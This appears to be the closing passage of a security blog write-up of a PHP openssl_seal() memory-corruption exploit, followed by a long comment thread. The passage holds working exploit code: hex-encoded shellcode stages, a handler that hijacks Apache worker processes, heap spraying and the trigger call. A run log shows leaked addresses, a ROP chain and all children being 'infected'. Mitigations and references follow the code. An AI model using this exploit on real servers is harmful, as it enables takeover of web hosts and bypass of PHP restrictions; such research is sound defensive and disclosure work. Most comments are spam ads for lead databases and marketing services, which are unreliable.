        "\xff\xd0" .                    // callq  *%rax
        "\x48\x89\x45\xf0" .            // mov    %rax,-0x10(%rbp)
        "\x48\x8b\x45\xf0" .            // mov    -0x10(%rbp),%rax
        "\x48\x89\x45\xf8" .            // mov    %rax,-0x8(%rbp)
        "\xeb\x1d" .                    // jmp    0x40063d <shellcode+0x6d>
        "\x48\x8b\x45\xf8" .            // mov    -0x8(%rbp),%rax
        "\x48\x8d\x50\x01" .            // lea    0x1(%rax),%rdx
        "\x48\x89\x55\xf8" .            // mov    %rdx,-0x8(%rbp)
        "\x48\x8b\x55\xd0" .            // mov    -0x30(%rbp),%rdx
        "\x48\x8d\x4a\x01" .            // lea    0x1(%rdx),%rcx
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x0f\xb6\x12" .                // movzbl (%rdx),%edx
        "\x88\x10" .                    // mov    %dl,(%rax)
        "\x48\x8b\x45\xc8" .            // mov    -0x38(%rbp),%rax
        "\x48\x8d\x50\xff" .            // lea    -0x1(%rax),%rdx
        "\x48\x89\x55\xc8" .            // mov    %rdx,-0x38(%rbp)
        "\x48\x85\xc0" .                // test   %rax,%rax
        "\x75\xd2" .                    // jne    0x400620 <shellcode+0x50>
        "\x48\x8b\x7d\xf0" .            // mov    -0x10(%rbp),%rdi
        "\x48\x8b\x45\xd8" .            // mov    -0x28(%rbp),%rax
        "\xb9\xf6\xff\xff\xff" .        // mov    $0xfffffff6,%ecx
        "\xba\x00\x00\x00\x00" .        // mov    $0x0,%edx
        "\xbe\x00\x00\x00\x00" .        // mov    $0x0,%esi
        "\xff\xd0" .                    // callq  *%rax
        "\xc9" .                        // leaveq
        "\xc3";                         // retq
fill_buffer(0x2000, $shellcode_stage2);

$handler =
        "\x55" .                                    // push   %rbp
        "\x48\x89\xe5" .                            // mov    %rsp,%rbp
        "\x48\x83\xec\x30" .                        // sub    $0x30,%rsp
        "\x48\x89\x7d\xd8" .                        // mov    %rdi,-0x28(%rbp)
        "\x48\xb8" . pack('P', $ap_rprintf_addr) .  // movabs $0xdeadbabefeedcafe,%rax
        "\x48\x89\x45\xf8" .                        // mov    %rax,-0x8(%rbp)
        "\x48\xb8" . "Hello Wo" .                   // movabs CONTENT,%rax
        "\x48\x89\x45\xe0" .                        // mov    %rax,-0x20(%rbp)
        "\x48\xb8" . "rld!\n\x00\x00\x00" .         // movabs CONTENT,%rax
        "\x48\x89\x45\xe8" .                        // mov    %rax,-0x20(%rbp)
        "\x48\x8d\x4d\xe0" .                        // lea    -0x20(%rbp),%rcx
        "\x48\x8b\x55\xd8" .                        // mov    -0x28(%rbp),%rdx
        "\x48\x8b\x45\xf8" .                        // mov    -0x8(%rbp),%rax
        "\x48\x89\xce" .                            // mov    %rcx,%rsi
        "\x48\x89\xd7" .                            // mov    %rdx,%rdi
        "\xff\xd0" .                                // callq  *%rax
        "\xb8\x00\x00\x00\x00" .                    // mov    $0x0,%eax
        "\xc9" .                                    // leaveq
        "\xc3";                                     // retq
fill_buffer(0x3000, $handler);

$addr = pack('P', $addr);
$memory = str_repeat($addr,321);

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);
/* place valid keys at the beginning */ 
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
        $x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
        unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";

Here's how it works:

~$ curl http://localhost:10080/~rj4/exp.php
[+] buffer string @ 0x7f3d66c00014
[+] faking EVP_PKEY @ 0x7f3d66c00113
[+] faking ASN @ 0x7f3d66c00113
[+] libphp7 base @ 0x7f3d6c348000
[+] faking pkey_free @ 0x7f3d66c001af = 7f3d6c7ef9c3
[+] libc base @ 0x7f3d762d0000
[+] mprotect @ 0x7f3d763c4a20
[+] mmap @ 0x7f3d763c49c0
[+] apache2 base @ 0x7f3d77180000
[+] ap_rprintf @ 0x7f3d771c29c0
[+] ap_hook_quick_handler @ 0x7f3d771d6c00
[+] building ropchain
[+] spraying heap
[+] triggering openssl_seal()...

execute it a few times to infect all children

~$ curl http://localhost:10080/~rj4/exp.php
Hello World!
~$ curl http://localhost:10080/whatever
Hello World!

...\o/, we're done.

Mitigations:
  • Update your PHP! - bug was fixed [8]
  • Unload OpenSSL extension
  • Do not rely only on disable_functions [7], as you can see it can be bypassed and there are many other ways to break it.
  • Do not run PHP as a Apache module, or at least do not be surprised if magiacal things happen. Instead, you may use the FastCGI or even suexec & stuff, but dealing with it is beyond the scope of this text.

T H E    E N D

* lights! curtain! applause! *

References
  1. http://git.php.net/?p=php-src.git;a=commit;h=424aebbf3643b3fc1b1074ecddf2104cb9465f02
  2. http://php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html
  3. http://seclists.org/fulldisclosure/2011/May/472
  4. http://php.net/manual/en/function.openssl-seal.php
  5. http://www.phpinternalsbook.com/zvals/memory_management.html
  6. https://httpd.apache.org/docs/trunk/developer/modguide.html
  7. http://php.net/manual/en/ini.core.php#ini.disable-functions
  8. https://bugs.php.net/bug.php?id=71475
Credits
  1. shm - Mateusz Kocielski (LogicalTrust) - http://akat1.pl/ - @akat1_pl
  2. s1m0n - http://s1m0n.dft-labs.eu/
  3. n1x0n - http://kroemeke.eu/

Author: Sebb767
2017-03-14 14:18:29
Pretty awesome writeup. Thanks alot!
Author: Canis
2017-03-14 14:19:47
Nice
Author: Atvapt
2017-07-22 13:34:25
Kudos to authors!!!!
Author: Taren Avey
2021-09-11 18:26:27
Hello from SunDataGroup.com

We are selling leads from around the world. I thought your company could benefit from it.

You can visit our website www.SunDataGroup.com to see some of our data.

We have a special offer running. All our databases for $99.
Author: Floy Parkinson
2021-09-30 00:18:51
Hey!

Get all the leads you ever need. We have a special offer running BusinessLeads101.com.

Stop paying Facebook and Linkedin and get a once-off solution.

Regards,
Floy
Author: Lachlan Trickett
2021-09-30 21:51:41
Hello,

My name is Johan, I am a PHP programmer that specializes in data driven web applications.

Anything related to PHP, MySQL, Data scraping etc.

If you have any custom jobs you can add me on skype to discuss your requirements.

Skype: cmsdevelopers

Regards,
Johan
Author: Morris Jernigan
2021-10-01 00:40:04
Hello,

My name is Johan, I am a PHP programmer that specializes in data driven web applications.

Anything related to PHP, MySQL, Data scraping etc.

If you have any custom jobs you can add me on skype to discuss your requirements.

Skype: cmsdevelopers

Regards,
Johan
Author: Adriene Grano
2021-10-07 21:59:07
Hi ,

Who would I contact at your company that handles ordering your logo products, t-shirts, and promotional items?

For over 20 years we have been creating and supplying our clients with all their custom logo merchandise.

We can put your logo onto anything including:

-Custom Printed T-shirts / Hoodies
-Pens
-Mugs
-T-shirts
-Bags
-Banners
-Table Covers
-Key chains
-USB flash drives

---plus 350,000 other items!

We also offer PPE items such as hand sanitizer and masks.

Are there any upcoming projects that you need logo items for?

Thanks in advance for your time.

Regards,

Adriene
Custom Branded Product Specialist
Author: Lucretia Pierson
2021-10-08 02:17:12
Hi ,

Who would I contact at your company that handles ordering your logo products, t-shirts, and promotional items?

For over 20 years we have been creating and supplying our clients with all their custom logo merchandise.

We can put your logo onto anything including:

-Custom Printed T-shirts / Hoodies
-Pens
-Mugs
-T-shirts
-Bags
-Banners
-Table Covers
-Key chains
-USB flash drives

---plus 350,000 other items!

We also offer PPE items such as hand sanitizer and masks.

Are there any upcoming projects that you need logo items for?

Thanks in advance for your time.

Regards,

Lucretia
Custom Branded Product Specialist
Author: Arianne McClinton
2021-10-26 07:14:40
We have a one time limited offer.

366,295,395 Leads for $20!

BusinessLeads101.com!
Author: Gavin Edman
2021-10-26 21:00:29
Hi from Order-Fulfillment.net

Who would I speak with at your company about any of your order fulfillment and drop shipping needs?

My company Order-Fulfillment.net can warehouse, inventory, and manage your drop shipping / order fulfillment for your customer orders.

Based in the USA for almost 2 decades, near major USA air and sea ports.

Here are some of the items we currently pick, pack and ship for clients:

-Books, training manuals, guides
-New member welcomes boxes and gifts
-Product samples
-Marketing materials
-Medical program test kits
-Follow up gifts to clients, leads, and prospects

Thank you!

Fulfillment Warehouse
Order-Fulfillment.net
Drop Shipping and Order Fulfillment Specialists since 2003
Author: Ruben Gainer
2021-11-17 02:37:05
Hey, are you starving to find the right leads?

CompanyLeads.org has launched a limited time offer that covers all the countries in the world.

At $149 once-off you get access to over 300 million leads categorized, targetted and ideal.

Instant access and delivery. Visit CompanyLeads.org

Regards,
Ruben
Author: Demi Corfield
2021-11-17 16:49:51
Hey, are you starving to find the right leads?

CompanyLeads.org has launched a limited time offer that covers all the countries in the world.

At $149 once-off you get access to over 300 million leads categorized, targetted and ideal.

Instant access and delivery. Visit CompanyLeads.org

Regards,
Demi
Author: Hai Schilling
2021-11-23 18:56:17
Hey, we are running a black friday special on leads..

The entire USA (93 million records for $79)
The entire Australia (8 million records for AUD 99)
The entire South African Database (4 Million records for R1000)
The entire UK (16 million records for £49)

Or take all 152 countries for $99!

Instant access and delivery. Visit CompanyLeads.org

Regards,
Hai
Author: Thalia Fabela
2021-11-23 21:37:20
Hey, we are running a black friday special on leads..

The entire USA (93 million records for $79)
The entire Australia (8 million records for AUD 99)
The entire South African Database (4 Million records for R1000)
The entire UK (16 million records for £49)

Or take all 152 countries for $99!

Instant access and delivery. Visit CompanyLeads.org

Regards,
Thalia
Author: Broderick Harding
2021-12-01 04:15:51
Need Business Leads in 152 countries?

We are having a shut down sale!

tinyurl.com/ShutDownDeal
Author: Wesley Archer
2021-12-07 01:07:53
Find new customers for your product or service by automatically contacting them with your personal message via automated contact form submission.

You can submit any kind of content.

$99 per 1 million please specify which countries you prefer the rest will be made up of the rest of the (closest) countries if there isn't enough.

You can contact me on

telegram: custommarketing2

skype: cmsdevelopers

Buy it here: https://shoppy.gg/product/mYmRfLu
Author: Anglea Richie
2022-02-05 02:37:40
Buy 100k Visitors on akat1.pl. Boost your ranking in google and search engines.

Your website, a product, you name it!

Offer is Valid till 4 February 2022.

https://marketingguru.sell.app/product/100k-visitors
Author: Vicente Charbonneau
2022-02-05 21:30:56
Want to Rank No.1 on Google for your business?

We can put akat1.pl as the first result everytime!

https://cutt.ly/No1OnGoogle
Author: Julie Dundas
2022-02-14 22:10:48
Hey.

https://datalist.biz/ has made available its databases for the first time to companies.

Please visit us for our limited time offer.

https://datalist.biz/
Author: Burton Leachman
2022-02-14 23:51:31
Hey.

https://datalist.biz/ has made available its databases for the first time to companies.

Please visit us for our limited time offer.

https://datalist.biz/
Author: Theo Zimmerman
2022-02-16 21:25:21
Hi,

Who would be the best contact at akat1.pl to discuss your Order Fulfillment, 3PL and Drop Shipping needs?

We are based in the US and offer warehouse services, Order Fulfillment, Drop Shipping and Branded Logo Products since 2005.

Here are some of the items we ship for our clients:
-Books, training manuals, guides
-E-com product drop shipping
-New member welcomes boxes and gifts
-Product samples
-Supplements
-Health and Medical supplies
-Marketing materials
-Medical program test kits
-Follow up gifts to clients, leads, and prospects

Do you have some time to discuss - phone / email ?

Thanks,

Order Fulfillment Specialist
Florida, USA
Author: Alva Fuqua
2022-02-17 17:00:22
Hey.

https://datalist.biz/ has made available its databases for the first time to companies.

Please visit us for our limited time offer.

https://datalist.biz/
Author: Hortense Ritter
2022-02-20 15:43:22
Hey.

https://datalist.biz/ has made available its databases for the first time to companies.

Please visit us for our limited time offer.

https://datalist.biz/
Author: Walter Pettway
2022-02-21 13:18:40
Hey.

https://datalist.biz/ has made available its databases for the first time to companies.

Please visit us for our limited time offer.

https://datalist.biz/
Author: Ebony Pfaff
2022-03-21 00:43:50
Hi, I am interested in some of your products.

Please give me a call on +1 304-873-4360
Author: Gretchen Wilding
2022-03-28 18:17:10
It is with sad regret to inform you DataList.biz is shutting down on 31 March 2022.

We have made available databases per country for all companies available..

You can view our samples and download databases instantly on our website DataList.biz
Author: Johan Fourie
2022-04-14 01:24:10
Hello.

My name is Johan Fourie and I am looking to sell DataList.biz.

We are a data company that has been in the industry for 12 years.

We do around $170k/year in revenue.

1) I am looking to sell 50% of the business for $5k.
2) It would be helpful if you are knowledgeable about the Data Business.
3) I am looking for someone that is willing to take over administration, support, client relations.
4) I will continue to do the marketing for new products.
5) You will accept all future income and pay me from it.

Please contact me on WhatsApp +27 72 280 1952 or my personal email: johanfourieinc@gmail.com if you are interested in this and we can have a call.

Regards,
Johan Fourie
Author: Lenore Madgwick
2022-04-14 22:16:10
ZippyLeads.org is running an easter special till the 18th of April.

Get all the leads you need for your company with our easter special.
Author: Dian Van De Velde
2022-04-20 15:55:59
Hello.

It is with sad regret to inform you TopDataList.com is shutting down.

We have made all our databases available for you for a once off fee.

Visit us on TopDataList.com
Author: Dalton Ewen
2022-05-05 08:18:32
Hello, from CustomData.click we are a provider of unique databases that could help your business.

Please visit us at CustomData.click to see if we can help you.

Regards,
Dalton
Author: Billie Beaumont
2022-05-19 20:31:46
Your go-to source for leads. We can provide business to business and business to consumer leads, custom-tailored to your needs.

CustomDatabases.org
Author: Eulah Doughty
2022-06-22 06:32:15
Would you like to send targeted messages to website owners, just like this one?

Contact Page Marketing..

We will deliver your message to website owners, excellent for B2B products.

https://cutt.ly/ChatToUs
Author: Phillis Whicker
2022-06-24 00:00:48
Hello, did you know that there are 241,120 internet directories in the world.

These websites are what drive traffic to YOUR business.

Want more traffic? Want more Sales? We can help - today.

Your website akat1.pl is listed in only 77 of these directories.

Get more traffic for your Poland audience.

Our automated system adds your website to all of the directories.

You can find it here: getlisted.directory/akat1.pl

Act today, and we will expedite your listings and waive the processing charge!
Author: Evonne Zakrzewski
2022-06-24 02:44:49
Hello, did you know that there are 241,120 internet directories in the world.

These websites are what drive traffic to YOUR business.

Want more traffic? Want more Sales? We can help - today.

Your website akat1.pl is listed in only 79 of these directories.

Get more traffic for your Poland audience.

Our automated system adds your website to all of the directories.

You can find it here: getlisted.directory/akat1.pl

Act today, and we will expedite your listings and waive the processing charge!